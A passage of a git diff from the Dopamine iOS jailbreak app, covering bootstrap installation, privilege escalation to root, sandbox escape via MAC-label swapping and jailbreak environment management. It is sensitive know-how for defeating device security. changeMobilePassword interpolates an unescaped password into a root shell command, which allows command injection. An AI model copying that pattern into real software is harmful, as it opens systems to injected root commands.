stringByAppendingPathComponent:@"basebin.tar"] toPath:JBROOT_PATH(@"/")]; if (error) { completion(error); return; } [self patchBasebinDaemonPlists]; - [[NSFileManager defaultManager] removeItemAtPath:NSJBRootPath(@"/basebin/basebin.tc") error:nil]; + [[NSFileManager defaultManager] removeItemAtPath:JBROOT_PATH(@"/basebin/basebin.tc") error:nil]; void (^bootstrapFinishedCompletion)(NSError *) = ^(NSError *error){ if (error) { @@ -462,19 +520,9 @@ - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion @"URIs: https://ellekit.space/\n" @"Suites: ./\n" @"Components:\n"; - [defaultSources writeToFile:NSJBRootPath(@"/etc/apt/sources.list.d/default.sources") atomically:NO encoding:NSUTF8StringEncoding error:nil]; + [defaultSources writeToFile:JBROOT_PATH(@"/etc/apt/sources.list.d/default.sources") atomically:NO encoding:NSUTF8StringEncoding error:nil]; - if (![self fileOrSymlinkExistsAtPath:NSJBRootPath(@"/usr/bin/opainject")]) { - [self createSymlinkAtPath:NSJBRootPath(@"/usr/bin/opainject") toPath:NSJBRootPath(@"/basebin/opainject") createIntermediateDirectories:YES]; - } - if (![self fileOrSymlinkExistsAtPath:NSJBRootPath(@"/usr/bin/jbctl")]) { - [self createSymlinkAtPath:NSJBRootPath(@"/usr/bin/jbctl") toPath:NSJBRootPath(@"/basebin/jbctl") createIntermediateDirectories:YES]; - } - if (![self fileOrSymlinkExistsAtPath:NSJBRootPath(@"/usr/lib/libjailbreak.dylib")]) { - [self createSymlinkAtPath:NSJBRootPath(@"/usr/lib/libjailbreak.dylib") toPath:NSJBRootPath(@"/basebin/libjailbreak.dylib") createIntermediateDirectories:YES]; - } - - NSString *mobilePreferencesPath = NSJBRootPath(@"/var/mobile/Library/Preferences"); + NSString *mobilePreferencesPath = JBROOT_PATH(@"/var/mobile/Library/Preferences"); if (![[NSFileManager defaultManager] fileExistsAtPath:mobilePreferencesPath]) { NSDictionary *attributes = @{ NSFilePosixPermissions : @0755, @@ -484,6 +532,8 @@ - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion [[NSFileManager defaultManager] createDirectoryAtPath:mobilePreferencesPath withIntermediateDirectories:YES attributes:attributes error:nil]; } + JBFixMobilePermissions(); + completion(nil); }; @@ -491,21 +541,26 @@ - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion BOOL needsBootstrap = ![[NSFileManager defaultManager] fileExistsAtPath:installedPath]; if (needsBootstrap) { // First, wipe any existing content that's not basebin - for (NSURL *subItemURL in [[NSFileManager defaultManager] contentsOfDirectoryAtURL:[NSURL fileURLWithPath:NSJBRootPath(@"/")] includingPropertiesForKeys:nil options:0 error:nil]) { + for (NSURL *subItemURL in [[NSFileManager defaultManager] contentsOfDirectoryAtURL:[NSURL fileURLWithPath:JBROOT_PATH(@"/")] includingPropertiesForKeys:nil options:0 error:nil]) { if (![subItemURL.lastPathComponent isEqualToString:@"basebin"]) { [[NSFileManager defaultManager] removeItemAtURL:subItemURL error:nil]; } } - void (^bootstrapDownloadCompletion)(NSString *, NSError *) = ^(NSString *path, NSError *error) { + /*void (^bootstrapDownloadCompletion)(NSString *, NSError *) = ^(NSString *path, NSError *error) { if (error) { completion(error); return; } [self extractBootstrap:path withCompletion:bootstrapFinishedCompletion]; - }; + };*/ - NSString *documentsCandidate = @"/var/mobile/Documents/bootstrap.tar.zstd"; + [[DOUIManager sharedInstance] sendLog:@"Extracting Bootstrap" debug:NO]; + + NSString *bootstrapZstdPath = [NSString stringWithFormat:@"%@/bootstrap_%@.tar.zst", [NSBundle mainBundle].bundlePath, [self bootstrapVersion]]; + [self extractBootstrap:bootstrapZstdPath withCompletion:bootstrapFinishedCompletion]; + + /*NSString *documentsCandidate = @"/var/mobile/Documents/bootstrap.tar.zstd"; NSString *bundleCandidate = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"bootstrap.tar.zstd"]; // Check if the user provided a bootstrap if ([[NSFileManager defaultManager] fileExistsAtPath:documentsCandidate]) { @@ -515,42 +570,163 @@ - (void)prepareBootstrapWithCompletion:(void (^)(NSError *))completion bootstrapDownloadCompletion(bundleCandidate, nil); } else { + [[DOUIManager sharedInstance] sendLog:@"Downloading Bootstrap" debug:NO]; [self downloadBootstrapWithCompletion:bootstrapDownloadCompletion]; - } + }*/ } else { bootstrapFinishedCompletion(nil); } } -- (BOOL)needsFinalize +- (int)installPackage:(NSString *)packagePath { - return [[NSFileManager defaultManager] fileExistsAtPath:NSJBRootPath(@"/prep_bootstrap.sh")]; + if (getuid() == 0) { + return exec_cmd_trusted(JBROOT_PATH("/usr/bin/dpkg"), "-i", packagePath.fileSystemRepresentation, NULL); + } + else { + // idk why but waitpid sometimes fails and this returns -1, so we just ignore the return value + exec_cmd(JBROOT_PATH("/basebin/jbctl"), "internal", "install_pkg", packagePath.fileSystemRepresentation, NULL); + return 0; + } } -- (NSError *)finalizeBootstrap +- (int)uninstallPackageWithIdentifier:(NSString *)identifier { - int r = exec_cmd_trusted(JBRootPath("/bin/sh"), JBRootPath("/prep_bootstrap.sh"), NULL); - if (r != 0) { - return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"prep_bootstrap.sh returned %d\n", r]}]; + return exec_cmd_trusted(JBROOT_PATH("/usr/bin/dpkg"), "-r", identifier.UTF8String, NULL); +} + +- (NSString *)installedVersionForPackageWithIdentifier:(NSString *)identifier +{ + NSString *dpkgStatus = [NSString stringWithContentsOfFile:JBROOT_PATH(@"/var/lib/dpkg/status") encoding:NSUTF8StringEncoding error:nil]; + NSString *packageStartLine = [NSString stringWithFormat:@"Package: %@", identifier]; + + NSArray *packageInfos = [dpkgStatus componentsSeparatedByString:@"\n\n"]; + for (NSString *packageInfo in packageInfos) { + if ([packageInfo hasPrefix:packageStartLine]) { + __block NSString *version = nil; + [packageInfo enumerateLinesUsingBlock:^(NSString * _Nonnull line, BOOL * _Nonnull stop) { + if ([line hasPrefix:@"Version: "]) { + version = [line substringFromIndex:9]; + } + }]; + return version; + } + } + return nil; +} + +- (NSError *)installPackageManagers +{ + NSArray *enabledPackageManagers = [[DOUIManager sharedInstance] enabledPackageManagers]; + for (NSDictionary *packageManagerDict in enabledPackageManagers) { + NSString *path = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:packageManagerDict[@"Package"]]; + NSString *name = packageManagerDict[@"Display Name"]; + int r = [self installPackage:path]; + if (r != 0) { + return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to install %@: %d\n", name, r]}]; + } } + return nil; +} + +- (BOOL)shouldInstallPackage:(NSString *)identifier +{ + NSString *bundledVersion = gBundledPackages[identifier]; + if (!bundledVersion) return NO; + + NSString *installedVersion = [self installedVersionForPackageWithIdentifier:identifier]; + if (!installedVersion) return YES; - NSString *sileoPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"sileo.deb"]; - NSString *zebraPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"zebra.deb"]; - NSString *krwPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"libjbdrw.deb"]; + return [installedVersion numericalVersionRepresentation] < [bundledVersion numericalVersionRepresentation]; +} + +- (NSError *)finalizeBootstrap +{ + // Initial setup on first jailbreak + if ([[NSFileManager defaultManager] fileExistsAtPath:JBROOT_PATH(@"/prep_bootstrap.sh")]) { + [[DOUIManager sharedInstance] sendLog:@"Finalizing Bootstrap" debug:NO]; + int r = exec_cmd_trusted(JBROOT_PATH("/bin/sh"), JBROOT_PATH("/prep_bootstrap.sh"), NULL); + if (r != 0) { + return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"prep_bootstrap.sh returned %d\n", r]}]; + } + + NSError *error = [self installPackageManagers]; + if (error) return error; + } - NSArray *toInstall = @[ - sileoPath, - zebraPath, - krwPath, - ]; + BOOL shouldInstallLibroot = [self shouldInstallPackage:@"libroot-dopamine"]; + BOOL shouldInstallLibkrw = [self shouldInstallPackage:@"libkrw0-dopamine"]; + BOOL shouldInstallBasebinLink = [self shouldInstallPackage:@"dopamine-basebin-link"]; - for (NSString *path in toInstall) { - r = exec_cmd_trusted(JBRootPath("/usr/bin/dpkg"), "-i", path.fileSystemRepresentation, NULL); - if (r != 0) return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to install %@: %d\n", path.lastPathComponent, r]}]; + if (shouldInstallLibroot || shouldInstallLibkrw || shouldInstallBasebinLink) { + [[DOUIManager sharedInstance] sendLog:@"Updating Bundled Packages" debug:NO]; + if (shouldInstallLibroot) { + NSString *librootPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"libroot.deb"]; + int r = [self installPackage:librootPath]; + if (r != 0) return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to install libroot: %d\n", r]}]; + } + + if (shouldInstallLibkrw) { + NSString *libkrwPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"libkrw-dopamine.deb"]; + int r = [self installPackage:libkrwPath]; + if (r != 0) return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to install the libkrw plugin: %d\n", r]}]; + } + + if (shouldInstallBasebinLink) { + // Clean symlinks from earlier Dopamine versions + if ([self fileOrSymlinkExistsAtPath:JBROOT_PATH(@"/usr/bin/opainject")]) { + [[NSFileManager defaultManager] removeItemAtPath:JBROOT_PATH(@"/usr/bin/opainject") error:nil]; + } + if ([self fileOrSymlinkExistsAtPath:JBROOT_PATH(@"/usr/bin/jbctl")]) { + [[NSFileManager defaultManager] removeItemAtPath:JBROOT_PATH(@"/usr/bin/jbctl") error:nil]; + } + if ([self fileOrSymlinkExistsAtPath:JBROOT_PATH(@"/usr/lib/libjailbreak.dylib")]) { + [[NSFileManager defaultManager] removeItemAtPath:JBROOT_PATH(@"/usr/lib/libjailbreak.dylib") error:nil]; + } + if ([self fileOrSymlinkExistsAtPath:JBROOT_PATH(@"/usr/bin/libjailbreak.dylib")]) { + // Yes this exists >.< was a typo + [[NSFileManager defaultManager] removeItemAtPath:JBROOT_PATH(@"/usr/bin/libjailbreak.dylib") error:nil]; + } + + NSString *basebinLinkPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"basebin-link.deb"]; + int r = [self installPackage:basebinLinkPath]; + if (r != 0) return [NSError errorWithDomain:bootstrapErrorDomain code:BootstrapErrorCodeFailedFinalising userInfo:@{NSLocalizedDescriptionKey : [NSString stringWithFormat:@"Failed to install basebin link: %d\n", r]}]; + } } return nil; } +- (NSError *)deleteBootstrap +{ + NSError *error = [self ensurePrivatePrebootIsWritable]; + if (error) return error; + NSString *path = [[NSString stringWithUTF8String:gSystemInfo.jailbreakInfo.rootPath] stringByDeletingLastPathComponent]; + [[NSFileManager defaultManager] removeItemAtPath:path error:&error]; + if (error) return error; + [[NSFileManager defaultManager] removeItemAtPath:@"/var/jb" error:nil]; + return error; +} + +- (void)URLSession:(NSURLSession *)session downloadTask:(NSURLSessionDownloadTask *)downloadTask didWriteData:(int64_t)bytesWritten totalBytesWritten:(int64_t)totalBytesWritten totalBytesExpectedToWrite:(int64_t)totalBytesExpectedToWrite +{ + if (downloadTask == _bootstrapDownloadTask) { + NSString *sizeString = [NSByteCountFormatter stringFromByteCount:totalBytesWritten countStyle:NSByteCountFormatterCountStyleFile]; + NSString *writtenBytesString = [NSByteCountFormatter stringFromByteCount:totalBytesExpectedToWrite countStyle:NSByteCountFormatterCountStyleFile]; + + [[DOUIManager sharedInstance] sendLog:[NSString stringWithFormat:@"Downloading Bootstrap (%@/%@)", sizeString, writtenBytesString] debug:NO update:YES]; + } +} + +- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error +{ + _downloadCompletionBlock(nil, error); +} + +- (void)URLSession:(nonnull NSURLSession *)session downloadTask:(nonnull NSURLSessionDownloadTask *)downloadTask didFinishDownloadingToURL:(nonnull NSURL *)location +{ + _downloadCompletionBlock(location, nil); +} + @end diff --git a/Application/Dopamine/Jailbreak/DOEnvironmentManager.h b/Application/Dopamine/Jailbreak/DOEnvironmentManager.h new file mode 100644 index 0000000000..d559418dbe --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOEnvironmentManager.h @@ -0,0 +1,72 @@ +// +// EnvironmentManager.h +// Dopamine +// +// Created by Lars Fröder on 10.01.24. +// + +#import +#import "DOBootstrapper.h" + +NS_ASSUME_NONNULL_BEGIN + +@interface DOEnvironmentManager : NSObject +{ + DOBootstrapper *_bootstrapper; + BOOL _bootstrapNeedsMigration; +} + ++ (instancetype)sharedManager; + +@property (nonatomic, readonly) NSData *bootManifestHash; + +- (NSString *)appVersion; +- (NSString *)appVersionDisplayString; +- (NSString *)nightlyHash; + +- (BOOL)isInstalledThroughTrollStore; +- (BOOL)isJailbroken; +- (BOOL)isBootstrapped; +- (NSString *)jailbrokenVersion; + +- (BOOL)isSupported; +- (BOOL)isArm64e; +- (NSString *)versionSupportString; +- (NSString *)accessibleKernelPath; +- (void)locateJailbreakRoot; +- (NSError *)ensureJailbreakRootExists; + + +- (void)runUnsandboxed:(void (^)(void))unsandboxBlock; +- (void)runAsRoot:(void (^)(void))rootBlock; + +- (void)respring; +- (void)rebootUserspace; +- (void)refreshJailbreakApps; +- (void)reboot; +- (void)changeMobilePassword:(NSString *)newPassword; +- (NSError*)updateEnvironment; +- (void)updateJailbreakFromTIPA:(NSString *)tipaPath; + +- (BOOL)isTweakInjectionEnabled; +- (void)setTweakInjectionEnabled:(BOOL)enabled; +- (BOOL)isIDownloadEnabled; +- (void)setIDownloadEnabled:(BOOL)enabled needsUnsandbox:(BOOL)needsUnsandbox; +- (void)setIDownloadLoaded:(BOOL)loaded needsUnsandbox:(BOOL)needsUnsandbox; +- (BOOL)isFakelibMounted; +- (int)setFakelibMounted:(BOOL)mounted; +- (int)setPrivatePrebootProtected:(BOOL)protected; +- (BOOL)isJailbreakHidden; +- (void)setJailbreakHidden:(BOOL)hidden; + +- (BOOL)isPACBypassRequired; +- (BOOL)isPPLBypassRequired; + +- (NSError *)prepareBootstrap; +- (NSError *)finalizeBootstrap; +- (NSError *)deleteBootstrap; +- (NSError *)reinstallPackageManagers; +- (NSError *)updateBootLogo; +@end + +NS_ASSUME_NONNULL_END diff --git a/Application/Dopamine/Jailbreak/DOEnvironmentManager.m b/Application/Dopamine/Jailbreak/DOEnvironmentManager.m new file mode 100644 index 0000000000..7d1c710ef9 --- /dev/null +++ b/Application/Dopamine/Jailbreak/DOEnvironmentManager.m @@ -0,0 +1,745 @@ +// +// EnvironmentManager.m +// Dopamine +// +// Created by Lars Fröder on 10.01.24. +// + +#import "DOEnvironmentManager.h" +#import "UIImage+JPEG2000.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +#import +#import "DOUIManager.h" +#import "DOExploitManager.h" +#import "DOPreferenceManager.h" +#import "NSData+Hex.h" +#import + +int reboot3(uint64_t flags, ...); + +@implementation DOEnvironmentManager + +@synthesize bootManifestHash = _bootManifestHash; + ++ (instancetype)sharedManager +{ + static DOEnvironmentManager *shared; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + shared = [[DOEnvironmentManager alloc] init]; + }); + return shared; +} + +- (instancetype)init +{ + self = [super init]; + if (self) { + _bootstrapNeedsMigration = NO; + _bootstrapper = [[DOBootstrapper alloc] init]; + if ([self isJailbroken]) { + gSystemInfo.jailbreakInfo.rootPath = strdup(jbclient_get_jbroot() ?: ""); + } + else if ([self isInstalledThroughTrollStore]) { + [self locateJailbreakRoot]; + } + } + return self; +} + +- (NSString *)nightlyHash +{ +#ifdef NIGHTLY + return [NSString stringWithUTF8String:COMMIT_HASH]; +#else + return nil; +#endif +} + +- (NSString *)appVersion +{ + return [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"]; +} + +- (NSString *)appVersionDisplayString +{ + NSString *nightlyHash = [self nightlyHash]; + if (nightlyHash) { + return [NSString stringWithFormat:@"%@~%@", self.appVersion, [nightlyHash substringToIndex:6]]; + } + else { + return [self appVersion]; + } +} + +- (NSData *)bootManifestHash +{ + if (!_bootManifestHash) { + io_registry_entry_t registryEntry = IORegistryEntryFromPath(kIOMainPortDefault, "IODeviceTree:/chosen"); + if (registryEntry) { + _bootManifestHash = (__bridge NSData *)IORegistryEntryCreateCFProperty(registryEntry, CFSTR("boot-manifest-hash"), NULL, 0); + } + } + return _bootManifestHash; +} + +- (NSString *)activePrebootPath +{ + return [@"/private/preboot" stringByAppendingPathComponent:[self bootManifestHash].hexString]; +} + +- (void)locateJailbreakRoot +{ + if (!gSystemInfo.jailbreakInfo.rootPath) { + NSString *activePrebootPath = [self activePrebootPath]; + + NSString *randomizedJailbreakPath; + + // First attempt at finding jailbreak root, look for Dopamine 2.x path + for (NSString *subItem in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:activePrebootPath error:nil]) { + if (subItem.length == 15 && [subItem hasPrefix:@"dopamine-"]) { + randomizedJailbreakPath = [activePrebootPath stringByAppendingPathComponent:subItem]; + break; + } + } + + if (!randomizedJailbreakPath) { + // Second attempt at finding jailbreak root, look for Dopamine 1.x path, but as other jailbreaks use it too, make sure it is Dopamine + // Some other jailbreaks also commit the sin of creating .installed_dopamine, for these we try to filter them out by checking for their installed_ file + // If we find this and are sure it's from Dopamine 1.x, rename it so all Dopamine 2.x users will have the same path + for (NSString *subItem in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:activePrebootPath error:nil]) { + if (subItem.length == 9 && [subItem hasPrefix:@"jb-"]) { + NSString *candidateLegacyPath = [activePrebootPath stringByAppendingPathComponent:subItem]; + + BOOL installedDopamine = [[NSFileManager defaultManager] fileExistsAtPath:[candidateLegacyPath stringByAppendingPathComponent:@"procursus/.installed_dopamine"]]; + + if (installedDopamine) { + // Hopefully all other jailbreaks that use jb-? + // These checks exist because of dumb users (and jailbreak developers) creating .installed_dopamine on jailbreaks that are NOT dopamine... + BOOL installedNekoJB = [[NSFileManager defaultManager] fileExistsAtPath:[candidateLegacyPath stringByAppendingPathComponent:@"procursus/.installed_nekojb"]]; + BOOL installedDefinitelyNotAGoodName = [[NSFileManager defaultManager] fileExistsAtPath:[candidateLegacyPath stringByAppendingPathComponent:@"procursus/.xia0o0o0o_jb_installed"]]; + BOOL installedPalera1n = [[NSFileManager defaultManager] fileExistsAtPath:[candidateLegacyPath stringByAppendingPathComponent:@"procursus/.palecursus_strapped"]]; + if (installedNekoJB || installedPalera1n || installedDefinitelyNotAGoodName) { + continue; + } + + randomizedJailbreakPath = candidateLegacyPath; + _bootstrapNeedsMigration = YES; + break; + } + } + } + } + + if (randomizedJailbreakPath) { + NSString *jailbreakRootPath = [randomizedJailbreakPath stringByAppendingPathComponent:@"procursus"]; + if ([[NSFileManager defaultManager] fileExistsAtPath:jailbreakRootPath]) { + // This attribute serves as the primary source of what the root path is + // Anything else in the jailbreak will get it from here + gSystemInfo.jailbreakInfo.rootPath = strdup(jailbreakRootPath.fileSystemRepresentation); + } + } + } +} + +- (NSError *)ensureJailbreakRootExists +{ + NSError *error = nil; + + [self locateJailbreakRoot]; + + if (!gSystemInfo.jailbreakInfo.rootPath || _bootstrapNeedsMigration) { + [_bootstrapper ensurePrivatePrebootIsWritable]; + + NSString *activePrebootPath = [self activePrebootPath]; + + NSString *characterSet = @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + NSUInteger stringLen = 6; + NSMutableString *randomString = [NSMutableString stringWithCapacity:stringLen]; + for (NSUInteger i = 0; i < stringLen; i++) { + NSUInteger randomIndex = arc4random_uniform((uint32_t)[characterSet length]); + unichar randomCharacter = [characterSet characterAtIndex:randomIndex]; + [randomString appendFormat:@"%C", randomCharacter]; + } + + NSString *randomJailbreakFolderName = [NSString stringWithFormat:@"dopamine-%@", randomString]; + NSString *randomizedJailbreakPath = [activePrebootPath stringByAppendingPathComponent:randomJailbreakFolderName]; + NSString *jailbreakRootPath = [randomizedJailbreakPath stringByAppendingPathComponent:@"procursus"]; + + if (_bootstrapNeedsMigration) { + NSString *oldRandomizedJailbreakPath = [[NSString stringWithUTF8String:gSystemInfo.jailbreakInfo.rootPath] stringByDeletingLastPathComponent]; + [[NSFileManager defaultManager] moveItemAtPath:oldRandomizedJailbreakPath toPath:randomizedJailbreakPath error:&error]; + } + else { + if (![[NSFileManager defaultManager] fileExistsAtPath:jailbreakRootPath]) { + [[NSFileManager defaultManager] createDirectoryAtPath:jailbreakRootPath withIntermediateDirectories:YES attributes:nil error:&error]; + } + } + + if (!error) { + gSystemInfo.jailbreakInfo.rootPath = strdup(jailbreakRootPath.UTF8String); + } + } + + return error; +} + +- (BOOL)isArm64e +{ + cpu_subtype_t cpusubtype = 0; + size_t len = sizeof(cpusubtype); + if (sysctlbyname("hw.cpusubtype", &cpusubtype, &len, NULL, 0) == -1) { return NO; } + return (cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; +} + +- (NSString *)versionSupportString +{ + if ([self isArm64e]) { + return @"iOS 15.0 - 16.5.1 (arm64e)"; + } + else { + return @"iOS 15.0 - 15.8.6 / 16.0 - 16.6.1 (arm64)"; + } +} + +- (BOOL)isInstalledThroughTrollStore +{ + static BOOL trollstoreInstallation = NO; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + NSString* trollStoreMarkerPath = [[[NSBundle mainBundle].bundlePath stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"_TrollStore"]; + trollstoreInstallation = [[NSFileManager defaultManager] fileExistsAtPath:trollStoreMarkerPath]; + }); + return trollstoreInstallation; +} + +- (BOOL)isJailbroken +{ + static BOOL jailbroken = NO; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + uint32_t csFlags = 0; + csops(getpid(), CS_OPS_STATUS, &csFlags, sizeof(csFlags)); + jailbroken = csFlags & CS_PLATFORM_BINARY; + }); + return jailbroken; +} + +- (NSString *)jailbrokenVersion +{ + if (!self.isJailbroken) return nil; + + __block NSString *version; + [self runAsRoot:^{ + [self runUnsandboxed:^{ + version = [NSString stringWithContentsOfFile:JBROOT_PATH(@"/basebin/.version") encoding:NSUTF8StringEncoding error:nil]; + }]; + }]; + return version; +} + +- (BOOL)isBootstrapped +{ + return (BOOL)jbinfo(rootPath); +} + +- (void)runUnsandboxed:(void (^)(void))unsandboxBlock +{ + if ([self isInstalledThroughTrollStore]) { + unsandboxBlock(); + } + else if([self isJailbroken]) { + uint64_t labelBackup = 0; + jbclient_root_set_mac_label(1, -1, &labelBackup); + unsandboxBlock(); + jbclient_root_set_mac_label(1, labelBackup, NULL); + } + else { + // Hope that we are already unsandboxed + unsandboxBlock(); + } +} + +- (void)runAsRoot:(void (^)(void))rootBlock +{ + uint32_t orgUser = getuid(); + uint32_t orgGroup = getgid(); + if (geteuid() == 0 && orgGroup == 0) { + rootBlock(); + return; + } + + int ur = 0, gr = 0; + if (orgUser != 0) ur = setuid(0); + if (orgGroup != 0) gr = setgid(0); + if (ur == 0 && gr == 0) { + rootBlock(); + } + + if (gr == 0 && orgGroup != 0) setgid(orgGroup); + if (ur == 0 && orgUser != 0) seteuid(orgUser); +} + +- (int)runTrollStoreAction:(NSString *)action +{ + if (![self isInstalledThroughTrollStore]) return -1; + + uint32_t selfPathSize = PATH_MAX; + char selfPath[selfPathSize]; + _NSGetExecutablePath(selfPath, &selfPathSize); + return exec_cmd_root(selfPath, "trollstore", action.UTF8String, NULL); +} + +- (void)respring +{ + [self runAsRoot:^{ + __block int pid = 0; + __block int r = 0; + [self runUnsandboxed:^{ + r = exec_cmd_suspended(&pid, JBROOT_PATH("/usr/bin/sbreload"), NULL); + if (r == 0) { + kill(pid, SIGCONT); + } + }]; + if (r == 0) { + if (cmd_wait_for_exit(pid) != 0) { + // Fallback + [self runUnsandboxed:^{ + killall("/usr/libexec/backboardd", SIGTERM); + }]; + } + } + }]; +} + +- (void)rebootUserspace +{ + [self runAsRoot:^{ + __block int pid = 0; + __block int r = 0; + [self runUnsandboxed:^{ + r = exec_cmd_suspended(&pid, JBROOT_PATH("/basebin/jbctl"), "reboot_userspace", NULL); + if (r == 0) { + // the original plan was to have the process continue outside of this block + // unfortunately sandbox blocks kill aswell, so it's a bit racy but works + + // we assume we leave this unsandbox block before the userspace reboot starts + // to avoid leaking the label, this seems to work in practice + // and even if it doesn't work, leaking the label is no big deal + kill(pid, SIGCONT); + } + }]; + if (r == 0) { + cmd_wait_for_exit(pid); + } + }]; +} + +- (void)refreshJailbreakApps +{ + [self runAsRoot:^{ + [self runUnsandboxed:^{ + exec_cmd(JBROOT_PATH("/usr/bin/uicache"), "-a", NULL); + }]; + }]; +} + +- (void)unregisterJailbreakApps +{ + [self runAsRoot:^{ + [self runUnsandboxed:^{ + NSArray *jailbreakApps = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:JBROOT_PATH(@"/Applications") error:nil]; + if (jailbreakApps.count) { + for (NSString *jailbreakApp in jailbreakApps) { + NSString *jailbreakAppPath = [JBROOT_PATH(@"/Applications") stringByAppendingPathComponent:jailbreakApp]; + exec_cmd(JBROOT_PATH("/usr/bin/uicache"), "-u", jailbreakAppPath.fileSystemRepresentation, NULL); + } + } + }]; + }]; +} + +- (void)reboot +{ + [self runAsRoot:^{ + [self runUnsandboxed:^{ + reboot3(0x8000000000000000, 0); + }]; + }]; +} + + +- (void)changeMobilePassword:(NSString *)newPassword +{ + [self runAsRoot:^{ + [self runUnsandboxed:^{ + NSString *dashCommand = [NSString stringWithFormat:@"printf \"%%s\\n\" \"%@\" | %@ usermod 501 -h 0", newPassword, JBROOT_PATH(@"/usr/sbin/pw")]; + exec_cmd(JBROOT_PATH("/usr/bin/dash"), "-c", dashCommand.UTF8String, NULL); + }]; + }]; +} + +- (NSError*)updateEnvironment +{ + NSString *newBasebinTarPath = [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"basebin.tar"]; + int result = jbclient_platform_stage_jailbreak_update(newBasebinTarPath.fileSystemRepresentation); + if (result == 0) { + [self rebootUserspace]; + return nil; + } + return [NSError errorWithDomain:@"Dopamine" code:result userInfo:nil]; +} + +- (void)updateJailbreakFromTIPA:(NSString *)tipaPath +{ + [self runAsRoot:^{ + [self runUnsandboxed:^{ + pid_t pid = 0; + if (exec_cmd_suspended(&pid, JBROOT_PATH("/basebin/jbctl"), "update", "tipa", tipaPath.fileSystemRepresentation, NULL) == 0) { + kill(pid, SIGCONT); + } + }]; + }]; +} + +- (BOOL)isTweakInjectionEnabled +{ + return ![[NSFileManager defaultManager] fileExistsAtPath:JBROOT_PATH(@"/basebin/.safe_mode")]; +} + +- (void)setTweakInjectionEnabled:(BOOL)enabled +{ + NSString *safeModePath = JBROOT_PATH(@"/basebin/.safe_mode"); + if ([self isJailbroken]) { + [self runAsRoot:^{ + [self runUnsandboxed:^{ + if (enabled) { + [[NSFileManager defaultManager] removeItemAtPath:safeModePath error:nil]; + } + else { + [[NSData data] writeToFile:safeModePath atomically:YES]; + } + }]; + }]; + } +} + +- (BOOL)isIDownloadEnabled +{ + __block BOOL isEnabled = NO; + [self runAsRoot:^{ + [self runUnsandboxed:^{ + NSDictionary *disabledDict = [NSDictionary dictionaryWithContentsOfFile:@"/var/db/com.apple.xpc.launchd/disabled.plist"]; + NSNumber *idownloaddDisabledNum = disabledDict[@"com.opa334.Dopamine.idownloadd"]; + if (idownloaddDisabledNum) { + isEnabled = ![idownloaddDisabledNum boolValue]; + } + else { + isEnabled = NO; + } + }]; + }]; + return isEnabled; +} + +- (void)setIDownloadEnabled:(BOOL)enabled needsUnsandbox:(BOOL)needsUnsandbox +{ + void (^updateBlock)(void) = ^{ + if (enabled) { + exec_cmd_trusted(JBROOT_PATH("/usr/bin/launchctl"), "enable", "system/com.opa334.Dopamine.idownloadd", NULL); + } + else { + exec_cmd_trusted(JBROOT_PATH("/usr/bin/launchctl"), "disable", "system/com.opa334.Dopamine.idownloadd", NULL); + } + }; + + if (needsUnsandbox) { + [self runAsRoot:^{ + [self runUnsandboxed:updateBlock]; + }]; + } + else { + updateBlock(); + } +} + +- (void)setIDownloadLoaded:(BOOL)loaded needsUnsandbox:(BOOL)needsUnsandbox +{ + if (loaded) { + [self setIDownloadEnabled:loaded needsUnsandbox:needsUnsandbox]; + } + + void (^updateBlock)(void) = ^{ + if (loaded) { + exec_cmd(JBROOT_PATH("/usr/bin/launchctl"), "load", JBROOT_PATH("/basebin/LaunchDaemons/com.opa334.Dopamine.idownloadd.plist"), NULL); + } + else { + exec_cmd(JBROOT_PATH("/usr/bin/launchctl"), "unload", JBROOT_PATH("/basebin/LaunchDaemons/com.opa334.Dopamine.idownloadd.plist"), NULL); + } + }; + + if (needsUnsandbox) { + [self runAsRoot:^{ + [self runUnsandboxed:updateBlock]; + }]; + } + else { + updateBlock(); + } + + if (!loaded) { + [self setIDownloadEnabled:loaded needsUnsandbox:needsUnsandbox]; + } +} + +- (BOOL)isFakelibMounted +{ + struct statfs fsb; + if (statfs("/usr/lib", &fsb) != 0) return NO; + return strcmp(fsb.f_mntonname, "/usr/lib") == 0; +} + +- 